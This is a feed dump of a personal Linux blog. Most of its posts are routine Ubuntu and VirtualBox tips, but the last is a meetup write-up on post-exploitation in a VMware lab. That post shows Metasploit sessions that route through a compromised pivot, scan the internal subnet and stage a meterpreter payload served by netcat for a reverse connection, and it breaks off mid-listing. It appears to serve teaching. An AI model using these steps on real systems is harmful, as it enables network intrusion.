&lt;br /&gt;
&lt;br /&gt;
..............Done!!! &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/907923618844942837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2011/09/how-to-find-file-creation-date-in-linux.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/907923618844942837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/907923618844942837'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2011/09/how-to-find-file-creation-date-in-linux.html' title='How to find file creation date in Linux'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-3530093489384668600</id><published>2011-07-11T18:14:00.000+05:30</published><updated>2011-07-11T18:14:06.545+05:30</updated><title type='text'>Clone virtual machine in VirtualBox....</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;If you have used VmWare Workstation earlier and now working on VirtulBox, you may have to bang your head to create a cloned virtual machine on VirtualBox. As it&#39;s not as easy as you do in VMWare workstation.(#FAIL @VirtulBox).&lt;br /&gt;
&lt;br /&gt;
Never mind...here are the steps you can do on your Ubuntu host OS to create clone of a guest OS.&lt;/div&gt;&lt;br /&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;$ vboxmanage clonehd &amp;lt;source-folder/file.vdi&amp;gt; &amp;lt;destination-folder/clone.vdi&amp;gt;
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Clone hard disk created in format &#39;VDI&#39;. UUID: e64c4d5f-8ae1-4e69-aa68-cedd3fe5c43e
$
&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;
Next, create a New virtual machine.&lt;br /&gt;
And while choosing virtual hard disk, just choose the option &quot;Use existing hard disk&quot;, instead of creating a new one.&lt;br /&gt;
And just give the path of &#39;vdi&#39; file, you&#39;ve just created.&lt;br /&gt;
&lt;br /&gt;
..............Done!!!</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/3530093489384668600/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2011/07/clone-virtual-machine-in-virtualbox.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/3530093489384668600'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/3530093489384668600'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2011/07/clone-virtual-machine-in-virtualbox.html' title='Clone virtual machine in VirtualBox....'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-2323661248920788106</id><published>2011-04-29T01:07:00.001+05:30</published><updated>2011-05-02T14:42:45.562+05:30</updated><title type='text'>Ubunt 11.04 is here...</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Woohoo...Ubuntu 11.04, codenamed &#39;Natty Narwhal&#39; has been just released.&lt;br /&gt;
Get you copy...&lt;br /&gt;
&lt;br /&gt;
Here are some torrent files, you might be interested :)&lt;br /&gt;
-Desktop editions:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; -64 bit : &lt;a href=&quot;http://releases.ubuntu.com/11.04/ubuntu-11.04-desktop-amd64.iso.torrent&quot;&gt;http://releases.ubuntu.com/11.04/ubuntu-11.04-desktop-amd64.iso.torrent&lt;/a&gt;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; -32 bit : &lt;a href=&quot;http://releases.ubuntu.com/11.04/ubuntu-11.04-desktop-i386.iso.torrent&quot;&gt;http://releases.ubuntu.com/11.04/ubuntu-11.04-desktop-i386.iso.torrent&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
-Server editions:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; -64 bit : &lt;a href=&quot;http://releases.ubuntu.com/11.04/ubuntu-11.04-server-amd64.iso.torrent&quot;&gt;http://releases.ubuntu.com/11.04/ubuntu-11.04-server-amd64.iso.torrent&lt;/a&gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; -32 bit : &lt;a href=&quot;http://releases.ubuntu.com/11.04/ubuntu-11.04-server-i386.iso.torrent&quot;&gt;http://releases.ubuntu.com/11.04/ubuntu-11.04-server-i386.iso.torrent&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Enjoy :-)&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/2323661248920788106/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2011/04/ubunt-1104-is-here.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/2323661248920788106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/2323661248920788106'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2011/04/ubunt-1104-is-here.html' title='Ubunt 11.04 is here...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-1253637041525408796</id><published>2011-04-28T15:35:00.000+05:30</published><updated>2011-04-28T15:35:10.271+05:30</updated><title type='text'>Advanced Nmap usage...</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Got a nice post about advanced nmap and other tools from nmap team...&lt;br /&gt;
Check this out...&lt;br /&gt;
&lt;a href=&quot;http://www.securityaegis.com/advanced-nmap/?utm_source=twitterfeed&amp;amp;utm_medium=twitter&amp;amp;utm_campaign=Feed%3A+securityaegis%2FigXu+%28Security+Aegis%29&quot;&gt;http://www.securityaegis.com/advanced-nmap/?utm_source=twitterfeed&amp;amp;utm_medium=twitter&amp;amp;utm_campaign=Feed%3A+securityaegis%2FigXu+%28Security+Aegis%29&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
..............Done!!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/1253637041525408796/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2011/04/advanced-nmap-usage.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/1253637041525408796'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/1253637041525408796'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2011/04/advanced-nmap-usage.html' title='Advanced Nmap usage...'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-8457089093372127284</id><published>2011-04-16T14:54:00.000+05:30</published><updated>2011-04-16T14:54:30.383+05:30</updated><title type='text'>Small tips and tricks</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Thought to share few tips and tricks...&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1.Ubuntu fresh installation&lt;/b&gt;&lt;br /&gt;
While making a fresh installation of ubuntu, it&#39;s always safer to give separate partitions for boot, root(/), swap(if needed) and home directory. So, while installation, select &quot;Manual partitioning&quot; and delete all the current partitions(ALWAYS REMEMBER TO TAKE BACKUP BEFORE PROCEEDING FOR FRESH INSTALLATION). And specify partitions as follows:(I will take my system configurations as an example, so that may give you an idea)&lt;br /&gt;
&lt;br /&gt;
- /boot&amp;nbsp;&amp;nbsp; : Primary partition, 100MB space&lt;br /&gt;
- /&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : Primary partition, 20GB space (min recommended is 8GB)&lt;br /&gt;
- /home : Primary partition, rest-complete space&lt;br /&gt;
&lt;br /&gt;
I didn&#39;t find any need to give anything for swap partition. As I have 4GB RAM and  applications I would be running includes VMWare workstation/VirtualBox, Ubuntu Compiz effects, Firefox, Google Chrome, etc.&lt;br /&gt;
&lt;br /&gt;
So, I didn&#39;t find to waste any space for swap, if I won&#39;t be needing it. You may decide swap according to your needs.&lt;br /&gt;
Here is a link, which can be helpful for taking backup and reinstalling/upgrading ubuntu:&lt;br /&gt;
&lt;a href=&quot;https://help.ubuntu.com/community/Partitioning/Home/Moving&quot;&gt;https://help.ubuntu.com/community/Partitioning/Home/Moving&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. Execute command from history&lt;/b&gt;&lt;br /&gt;
Many times, things may happen like, you want to execute a very long command and you are as lazy as I am. So, here is what you do:&lt;br /&gt;
&lt;br /&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;ubuntu@localhost:~$ history |grep rsync
  110  man rsync 
  111  rsync -h
  116  rsync -h |grep time
  117  rsync -h |grep -i time
  122  rsync -arH some/local/dir some-machine-name:/some/remote/dir
  .
  .
  .
  .
  .
  .
  .
ubuntu@localhost:~$ !122
rsync -arH some/local/dir some-machine-name:/some/remote/dir
ubuntu@localhost:~$
&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;br /&gt;
3. rsync : Sync and Backup utility in Ubuntu&lt;br /&gt;
&lt;will about=&quot;&quot; it=&quot;&quot; later=&quot;&quot; write=&quot;&quot;&gt;&lt;br /&gt;
&lt;/will&gt;&lt;br /&gt;
&lt;br /&gt;
..............Done(for now)!!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/8457089093372127284/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2011/04/small-tips-and-tricks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/8457089093372127284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/8457089093372127284'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2011/04/small-tips-and-tricks.html' title='Small tips and tricks'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-1907556725664842960</id><published>2011-01-20T13:16:00.000+05:30</published><updated>2011-01-20T13:16:07.966+05:30</updated><title type='text'>[Ubuntu] perl: warning: Setting locale failed.</title><content type='html'>Hi,&lt;br /&gt;
&lt;br /&gt;
I have faced this problem many more times on either client desktops or when I have to configure some ubuntu server. So I had to search for the solution every time I face this annoying thing again and again.&lt;br /&gt;
Just thought of writing about it, and so people(like me, who merely remember what they did to sort out the problem) won&#39;t face it again and again.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
 LANGUAGE = (unset),
 LC_ALL = (unset),
 LANG = &quot;en_US.utf8&quot;
    are supported and installed on your system.
perl: warning: Falling back to the standard locale (&quot;C&quot;).
&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
So, here is what I did to solve it&lt;br /&gt;
&lt;br /&gt;
&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;ubuntu@localhost:~$ sudo locale-gen en_US.UTF-8
[sudo] password for ubuntu:
Generating locales...
  en_US.UTF-8... done
Generation complete.
ubuntu@localhost:~$ sudo dpkg-reconfigure locales
Generating locales...
  en_US.UTF-8... up-to-date
Generation complete.
ubuntu@localhost:~$&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
..............Done!!!</content><link rel='replies' type='application/atom+xml' href='http://blog.belure.com/feeds/1907556725664842960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.belure.com/2011/01/ubuntu-perl-warning-setting-locale.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/1907556725664842960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4708861546187678673/posts/default/1907556725664842960'/><link rel='alternate' type='text/html' href='http://blog.belure.com/2011/01/ubuntu-perl-warning-setting-locale.html' title='[Ubuntu] perl: warning: Setting locale failed.'/><author><name>Sagar Belure</name><uri>http://www.blogger.com/profile/06835135266111540775</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4708861546187678673.post-6442236137797371300</id><published>2010-11-28T12:57:00.009+05:30</published><updated>2010-12-05T02:43:03.433+05:30</updated><title type='text'>[n|u Delhi Presentations] Post exploitation techniques...</title><content type='html'>There was a presentation on &quot;Post exploitation techniques using &lt;span style=&quot;font-style: italic;&quot;&gt;msf-nc kungfu&lt;/span&gt;&quot; in &lt;a href=&quot;http://null.co.in/&quot;&gt;null&lt;/a&gt; monthly meet.&lt;br /&gt;So here is post about the presentation and things I may have missed.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Aim:&lt;/u&gt;&lt;br /&gt;There is a compromised machine in a network and you want to find/target other nodes inside the network.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Scenario:&lt;/u&gt;&lt;br /&gt;Attacker running BackTrack sitting outside the network. Machine &lt;span style=&quot;font-style: italic;&quot;&gt;A&lt;/span&gt; (Pivot) and machine &lt;span style=&quot;font-style: italic;&quot;&gt;B&lt;/span&gt; behind the NAT.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ZZonaF-syyCEijl12EUrxYcJiuo4tpmPwPA-DL-LG1NCEuTFHtH8BM7lXHcXWImRC1taS3E0f5DAhCEL_XQPlbVLMrd-4y3YzEnbC1NkaNeOa_0A5zzhuXW1q5uqAPShU19wbHOAZDI/s1600/pic1.JPG&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 400px; height: 245px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ZZonaF-syyCEijl12EUrxYcJiuo4tpmPwPA-DL-LG1NCEuTFHtH8BM7lXHcXWImRC1taS3E0f5DAhCEL_XQPlbVLMrd-4y3YzEnbC1NkaNeOa_0A5zzhuXW1q5uqAPShU19wbHOAZDI/s400/pic1.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546909300444719026&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;So here we go with the meterpreter session on pivot machine:&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;meterpreter &gt; ipconfig&lt;br /&gt;&lt;br /&gt;MS TCP Loopback interface&lt;br /&gt;Hardware MAC: 00:00:00:00:00:00&lt;br /&gt;IP Address  : 127.0.0.1&lt;br /&gt;Netmask     : 255.0.0.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AMD PCNET Family PCI Ethernet Adapter #3 - Packet Scheduler Miniport&lt;br /&gt;Hardware MAC: 00:0c:29:1e:d3:76&lt;br /&gt;IP Address  : 192.168.74.128&lt;br /&gt;Netmask     : 255.255.255.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;meterpreter &gt; route&lt;br /&gt;&lt;br /&gt;Network routes&lt;br /&gt;==============&lt;br /&gt;&lt;br /&gt;Subnet           Netmask          Gateway&lt;br /&gt;------           -------          -------&lt;br /&gt;0.0.0.0          0.0.0.0          192.168.74.2&lt;br /&gt;127.0.0.0        255.0.0.0        127.0.0.1&lt;br /&gt;192.168.74.0     255.255.255.0    192.168.74.128&lt;br /&gt;192.168.74.128   255.255.255.255  127.0.0.1&lt;br /&gt;192.168.74.255   255.255.255.255  192.168.74.128&lt;br /&gt;224.0.0.0        240.0.0.0        192.168.74.128&lt;br /&gt;255.255.255.255  255.255.255.255  192.168.74.128&lt;br /&gt;&lt;br /&gt;meterpreter &gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;u&gt;1. Pass the traffic for desired subnet through meterpreter session:&lt;/u&gt;&lt;br /&gt;So, in order to run scans and use other modules of meterpreter, we would need to add route so that when we target a particular subnet it will be routed through meterpreter session.&lt;br /&gt;Let&#39;s see, how we can do that...&lt;br /&gt;&lt;br /&gt;Back on the multi/handler...&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;msf exploit(handler) &gt; route add 192.168.74.0 255.255.255.0 1&lt;br /&gt;msf exploit(handler) &gt; route print&lt;br /&gt;&lt;br /&gt;Active Routing Table&lt;br /&gt;====================&lt;br /&gt;&lt;br /&gt;Subnet             Netmask            Gateway&lt;br /&gt;------             -------            -------&lt;br /&gt;192.168.74.0       255.255.255.0      Session 1&lt;br /&gt;&lt;br /&gt;msf exploit(handler) &gt; &lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;So now the network traffic meant for subnet 192.168.74.0/24 would be routed through meterpreter session 1.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2. Enumerate the nodes inside the network:&lt;/u&gt;&lt;br /&gt;We will be using meterpreter module &lt;span style=&quot;font-style: italic;&quot;&gt;arp_scanner&lt;/span&gt; to scan the network.&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;msf exploit(handler) &gt; sessions -l&lt;br /&gt;&lt;br /&gt;Active sessions&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;Id  Type                   Information         Connection&lt;br /&gt;--  ----                   -----------         ----------&lt;br /&gt;1   meterpreter x86/win32  WINXP\user @ WINXP  172.16.24.130:443 -&gt; 172.16.24.1:46715&lt;br /&gt;&lt;br /&gt;msf exploit(handler) &gt; sessions -i 1&lt;br /&gt;[*] Starting interaction with 1...&lt;br /&gt;&lt;br /&gt;meterpreter &gt; run arp_scanner -h&lt;br /&gt;Meterpreter Script for performing an ARPS Scan Discovery.&lt;br /&gt;&lt;br /&gt;OPTIONS:&lt;br /&gt;&lt;br /&gt;-h        Help menu.&lt;br /&gt;-i        Enumerate Local Interfaces&lt;br /&gt;-r &lt;opt&gt;  The target address range or CIDR identifier&lt;br /&gt;-s        Save found IP Addresses to logs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;meterpreter &gt; run arp_scanner -r 192.168.74.0/24&lt;br /&gt;[*] ARP Scanning 192.168.74.0/24&lt;br /&gt;[*] IP: 192.168.74.1 MAC 0:50:56:c0:0:8&lt;br /&gt;[*] IP: 192.168.74.2 MAC 0:50:56:ec:f0:e5&lt;br /&gt;[*] IP: 192.168.74.128 MAC 0:c:29:1e:d3:76&lt;br /&gt;[*] IP: 192.168.74.129 MAC 0:c:29:7e:bd:74&lt;br /&gt;[*] IP: 192.168.74.254 MAC 0:50:56:e5:a:b0&lt;br /&gt;meterpreter &gt; &lt;/opt&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;Ok. As you can see, there are 5 IP addresses seems alive in the network.&lt;br /&gt;The IP address 192.168.74.1, 192.168.74.2 and 192.168.74.254 are of VMware workstation virtual network adapters.&lt;br /&gt;The distribution is like&lt;br /&gt;192.168.74.2 - gateway IP address of virtual machine behind NAT&lt;br /&gt;192.168.74.1 - external IP address(vmnet8)&lt;br /&gt;192.168.74.254 - DHCP server for virtual machines behind NAT&lt;br /&gt;&lt;br /&gt;So, apart from all that, there is one more virtual machine which can be of our interest.&lt;br /&gt;Let&#39;s find out...&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwu8LZiPhBN9fYt5e5C0MbTDrGs9JRlOkvhcxFBmvX6agxkhX3NTrIhCeExIKuDPC1L5CbNF8MwhNqqlnFO_Mn9sdfa_0FshfBHWF-2LuTmMcDAiMt9bKws2SNKf5n99-JO_YNOONVDns/s1600/pic3.JPG&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 400px; height: 235px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwu8LZiPhBN9fYt5e5C0MbTDrGs9JRlOkvhcxFBmvX6agxkhX3NTrIhCeExIKuDPC1L5CbNF8MwhNqqlnFO_Mn9sdfa_0FshfBHWF-2LuTmMcDAiMt9bKws2SNKf5n99-JO_YNOONVDns/s400/pic3.JPG&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5546922019839667330&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;We will use tcp portscanner auxiliary module to find out the open ports...(with some well-known ports)&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;msf exploit(handler) &gt; use auxiliary/scanner/portscan/tcp&lt;br /&gt;msf auxiliary(tcp) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name         Current Setting  Required  Description&lt;br /&gt;----         ---------------  --------  -----------&lt;br /&gt;CONCURRENCY  10               yes       The number of concurrent ports to check per host&lt;br /&gt;FILTER                        no        The filter string for capturing traffic&lt;br /&gt;INTERFACE                     no        The name of the interface&lt;br /&gt;PCAPFILE                      no        The name of the PCAP capture file to process&lt;br /&gt;PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)&lt;br /&gt;RHOSTS                        yes       The target address range or CIDR identifier&lt;br /&gt;SNAPLEN      65535            yes       The number of bytes to capture&lt;br /&gt;THREADS      1                yes       The number of concurrent threads&lt;br /&gt;TIMEOUT      1000             yes       The socket connect timeout in milliseconds&lt;br /&gt;VERBOSE      false            no        Display verbose output&lt;br /&gt;&lt;br /&gt;msf auxiliary(tcp) &gt; set RHOSTS 192.168.74.129&lt;br /&gt;RHOSTS =&gt; 192.168.74.129&lt;br /&gt;msf auxiliary(tcp) &gt; set PORTS 21,22,23,25,80,110,135,139,443,445&lt;br /&gt;PORTS =&gt; 21,22,23,25,80,110,135,139,443,445&lt;br /&gt;msf auxiliary(tcp) &gt; run&lt;br /&gt;&lt;br /&gt;[*] 192.168.74.129:139 - TCP OPEN&lt;br /&gt;[*] 192.168.74.129:445 - TCP OPEN&lt;br /&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;br /&gt;[*] Auxiliary module execution completed&lt;br /&gt;msf auxiliary(tcp) &gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Alright. So there seems to be sharing enabled on the target machine.&lt;br /&gt;We will use infamous ms08_067 exploit...&lt;br /&gt;&lt;br /&gt;But, now there are problems choosing appropriate payload.&lt;br /&gt;- Bindshell payload can&#39;t be used, as we have no direct access to machine B. So even if machine B gets infected and starts listening on some port specified by the payload, we won&#39;t be able to connect to it.&lt;br /&gt;- Reverse connect payloads also can&#39;t be used, assuming the situation that machine B has no direct internet access.&lt;br /&gt;&lt;br /&gt;So, all I did was uploaded &lt;span style=&quot;font-style: italic;&quot;&gt;netcat&lt;/span&gt; and a custom file which is combination of a HTTP-response appended with meterpreter client executable(in this case if successful, of course, it would reverse connect back to the listening multi/handler on attacker&#39;s machine and so to confirm that the exploit was successful).&lt;br /&gt;&lt;br /&gt;Let&#39;s do that...&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;meterpreter &gt; upload /tmp/netcat.exe /tmp/httpresponse-msf.cfg %temp%&lt;br /&gt;[*] uploading  : /tmp/netcat.exe -&gt; %temp%&lt;br /&gt;[*] uploaded   : /tmp/netcat.exe -&gt; %temp%\netcat.exe&lt;br /&gt;[*] uploading  : /tmp/httpresponse-msf.cfg -&gt; %temp%&lt;br /&gt;[*] uploaded   : /tmp/httpresponse-msf.cfg -&gt; %temp%\httpresponse-msf.cfg&lt;br /&gt;meterpreter &gt; &lt;/pre&gt;&lt;/blockquote&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;Ok.&lt;br /&gt;So now we will start a small webserver using &lt;span style=&quot;font-style: italic;&quot;&gt;netcat&lt;/span&gt; on pivot machine with redirecting httpresponse-msf.cfg(can have any extension).&lt;br /&gt;&lt;br /&gt;&lt;table bgcolor=&quot;pink&quot; border=&quot;1&quot; width=&quot;700px&quot;&gt;&lt;tbody&gt;&lt;tr bgcolor=&quot;white&quot;&gt;&lt;td&gt;&lt;blockquote&gt;&lt;pre&gt;meterpreter &gt; execute -H -f cmd.exe -c -i&lt;br /&gt;Process 256 created.&lt;br /&gt;Channel 9 created.&lt;br /&gt;Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\Documents and Settings\user\Desktop&gt;cd %temp%&lt;br /&gt;cd %temp%&lt;br /&gt;&lt;br /&gt;C:\DOCUME~1\user\LOCALS~1\Temp&gt;dir&lt;br /&gt;dir&lt;br /&gt;Volume in drive C has no label.&lt;br /&gt;Volume Serial Number is 080D-40BD&lt;br /&gt;&lt;br /&gt;Directory of C:\DOCUME~1\user\LOCALS~1\Temp&lt;br /&gt;&lt;br /&gt;12/05/2010  01:57 AM    &amp;lt;DIR&amp;gt;          .&lt;br /&gt;12/05/2010  01:57 AM    &amp;lt;DIR&amp;gt;          ..&lt;br /&gt;10/23/2009  07:30 PM             8,704 21227.mst&lt;br /&gt;10/23/2009  07:30 PM             8,704 21ad2.mst&lt;br /&gt;10/23/2009  07:30 PM             8,704 48f1e.mst&lt;br /&gt;10/23/2009  07:30 PM             8,704 c833.mst&lt;br /&gt;08/15/2009  02:54 AM             8,704 ff21.mst&lt;br /&gt;12/05/2010  01:57 AM            74,144 httpresponse-msf.cfg&lt;br /&gt;12/05/2010  01:57 AM            61,440 netcat.exe&lt;br /&gt;10/23/2009  07:30 PM            33,709 vminst.log_20091023_193054.log&lt;br /&gt;06/10/2010  11:06 AM            41,986 